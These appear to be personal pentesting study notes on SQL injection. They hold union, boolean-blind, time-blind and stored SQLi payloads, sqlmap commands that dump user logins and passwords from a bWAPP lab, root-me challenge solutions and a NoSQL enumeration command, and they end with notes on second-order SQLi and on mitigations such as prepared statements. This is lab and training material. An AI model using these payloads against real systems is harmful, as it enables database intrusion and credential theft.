SQLi
~~~~~~

Payloads

'union select version() -- -
'union (select username)-- -
'union select password from userss -- -

' or 1 = 1 #
' or 1 = 1 limit 0,1 #

------

iron' union select 1,2,3,4,5,6,7 #
(iron' union select 1,2,3,4,5,6,7 -- -) -

(xxx' union select 1,table_name,3,4 from information_schema.tables where table_name like '%user%' -- -)
--> select the tables from a global variable called information_schema

(xxx' union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_name like '%user%' -- -)
--> select the columns from a specific table

(xxx' union select 1,id,login,secret,password,6,7 from users -- -)
--> select the users from the table users after i knew the columns in it

------

(?movie=100 union select 1,id,login,secret,password,6,7 from users) --> used in get request of the select sql injection

?id=100%20union%20select%20%201,concat(login,
%22%20:%20%22,password),3,4%20from%20users--%20-
(this is using the concat statement to concat the login and password) -->
concat(login,":",password)

------

bolean based SQL injection (some sql boolen payloads)
?id=1 and substring(version(),1,1)=5
?id=1 and right(left(version(),1),1)=5
?id=1 and left(version(),1)=4
?id=1 and ascii(lower(substr(Version(),1,1)))=51
?id=1 and (select mid(version(),1,1)=4)
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A'
?id=1 AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A'

~~~~~~

time based SQL injection (some sql time based payloads)

1 and (select sleep(10) from dual where database() like '%')#
1 and (select sleep(10) from dual where database() like '___')#
1 and (select sleep(10) from dual where database() like '____')#
1 and (select sleep(10) from dual where database() like '_____')#
1 and (select sleep(10) from dual where database() like 'a____')#
...
1 and (select sleep(10) from dual where database() like 's____')#
1 and (select sleep(10) from dual where database() like 'sa___')#
...
1 and (select sleep(10) from dual where database() like 'sw___')#
1 and (select sleep(10) from dual where database() like 'swa__')#
1 and (select sleep(10) from dual where database() like 'swb__')#
1 and (select sleep(10) from dual where database() like 'swi__')#
...
1 and (select sleep(10) from dual where (select table_name from information_schema.columns where table_schema=database() and column_name like '%pass%' limit 0,1) like '%')#

-a tool used in boolen and time based sql injection -----> (sqlmap tool)
[sqlmap -u "<<Site>>" --cookie="PHPSESSID=.....;security_level=0"]

[sqlmap -u "<<Site>>" --cookie="PHPSESSID=.....;security_level=0" -D bWAPP -T users --columns] --> know the columns in the table users

[sqlmap -u "<<Site>>" --cookie="PHPSESSID=.....;security_level=0" -D bWAPP -T users -C login,password --dump] --> (-D) select the DB bWAPP (-T) select the table (-C) select the columns (--dump) print data

[sqlmap -r <<file has the request shape>>] --> i give the request shape to the sqlmap to be easily manuplated and if i put * infront of the injection parameter to try the injection at this parameter 3alatol

[sqlmap -u "http://192.168.1.13/bWAPP/sqli_4.php?title=iron&action=search" --cookie="PHPSESSID=62a1beb9023f6ef19e050eeb977e283e;security_level=0" --dbs]
--> (--dbs to find the databases on the url)

-Stored sql injection -->
[' , (select login from users Limit 0,1)) -- -] this is the injected code

$sql = "insert into blog(date,entry, owner) values (now(),'",$entry." ','".$owner."')" --> the query shape

((to train on sql injection **sql-ilabs github**)) [https://github.com/Audi-1/sqli-labs]

Challenges

SQL injection - Authentication - GBK
https://www.root-me.org/en/Challenges/Web-Server/SQL-injection-authentication-GBK

SQL injection - String
https://www.root-me.org/en/Challenges/Web-Server/SQL-injection-String

we get an error with 'ahmed'

```
ahmed' or id='1' union select 1, sql from sqlite_master-- -+
```

```
ahmed' or id='1' union select username,password from users-- -+
```

SQL injection - Numeric
https://www.root-me.org/en/Challenges/Web-Server/SQL-injection-Numeric

SQL Truncation
https://www.root-me.org/en/Challenges/Web-Server/SQL-Truncation

SQL injection - Insert
https://www.root-me.org/en/Challenges/Web-Server/SQL-injection-Insert

SQL injection - File reading
https://www.root-me.org/en/Challenges/Web-Server/SQL-injection-file-reading

SQL injection - Blind
https://www.root-me.org/en/Challenges/Web-Server/SQL-injection-blind

NoSQL injection - Blind
https://www.root-me.org/en/Challenges/Web-Server/NoSQL-injection-Blind

Notes

watch ippsec methodology --> Jarvis
https://www.youtube.com/watch?v=YHHWvXBfwQ8

https://phpdelusions.net/pdo/sql_injection_example
http://pentestmonkey.net/category/cheat-sheet/sql-injection
https://github.com/Audi-1/sqli-labs
http://h1.nobbd.de/

NoSQL injection
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection

Enumeration tools
https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration
https://github.com/digininja/nosqlilab

```
python3 nosqli-user-pass-enum.py -u http://staging-order.mango.htb -m POST -up username -pp password -op login:login -ep username
```

In-band SQLi :
put payload in browser and see in browser
Error-based - Union-based :

Out-of-band SQLi :
see in another channel

Inferential (Blind) SQLi : cannot see output but have some sort of indication (time or some

true false event)
    blind-boolean-based SQLi
    Blind- time-based SQLi

Mysql guide

https://www.liquidweb.com/kb/create-a-mysql-database-on-linux-via-command-line/

service mysql start

mysql -u root -p --> logging into mysql as root user

CREATE DATABASE site ; --> creating a new database called site

use dbname ; --> as if you are setting this as the currently working database

CREATE table users ; --> creating a new table in the db called users

CREATE USER 'user'@'%' IDENTIFIED BY 'password';

GRANT ALL PRIVILEGES ON *.* TO 'user';
show grants for 'user' ;

5 - run this php (to create a table called user)

```
 <?php
$servername = "localhost";
$username = "user";
$password = "password";
$dbname = "site";
```

https://www.w3schools.com/php/php_mysql_insert.asp

Second Order SQLi

excellent article on second order sqli
https://medium.com/@shukla.iitm/the-wrath-of-second-order-sql-injection-c9338a51c6d

Second-order SQL injection arises when user-supplied data is stored by the application and later incorporated into SQL queries in an unsafe way. To detect the vulnerability, it is normally necessary to submit suitable data in one location, and then use some other application function that processes the data in an unsafe way.

The attacker can simply enter a malicious string and cause the modified code to be executed immediately.
The attacker injects into persistent storage (such as a table row) which is deemed as a trusted source. An attack is subsequently executed by another activity.

This kind of vulnerability happens because a good programmer maybe will patch his code to prevent SQL injections in forms where the user can input something BUT he will not do the same thing where a user doesn't have any sort of interaction with the application database.

- Firstly, we STORE a particular user-supplied input value in the DB and
- Secondly, we use the stored value to exploit a vulnerability in a vulnerable function in the source code which constructs the dynamic query of the web application.

HTB machine --> Nightmare has an example (watch ippsec)

SQL injection mitigation

1)Stored procedures
2)prepared statement
3)input validation
4)user privilage

The most effective way to prevent SQL injection attacks is to use parameterized queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already been defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterized queries. It is strongly recommended that you parameterize *every* variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.
You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:

- One common defense is to double up any single quotation marks appearing within user input before incorporating that input into a SQL query. This defense is designed to prevent malformed data from terminating the string into which it is inserted. However, if the data being incorporated into queries is numeric, then the defense may fail, because numeric data may not be encapsulated within quotes, in which case only a space is required to break out of the data context and interfere with the query. Further, in second-order SQL injection attacks, data that has been safely escaped when initially inserted into the database is subsequently read from the database and then passed back to it again. Quotation marks that have been doubled up initially will return to their original form when the data is reused, allowing the defense to be bypassed.

- Another often cited defense is to use stored procedures for database access. While stored procedures can provide security benefits, they are not guaranteed to prevent SQL injection attacks. The same kinds of vulnerabilities that arise within standard dynamic SQL queries can arise if any SQL is dynamically constructed within stored procedures. Further, even if the procedure is sound, SQL injection can arise if the procedure is invoked in an unsafe manner using user-controllable data.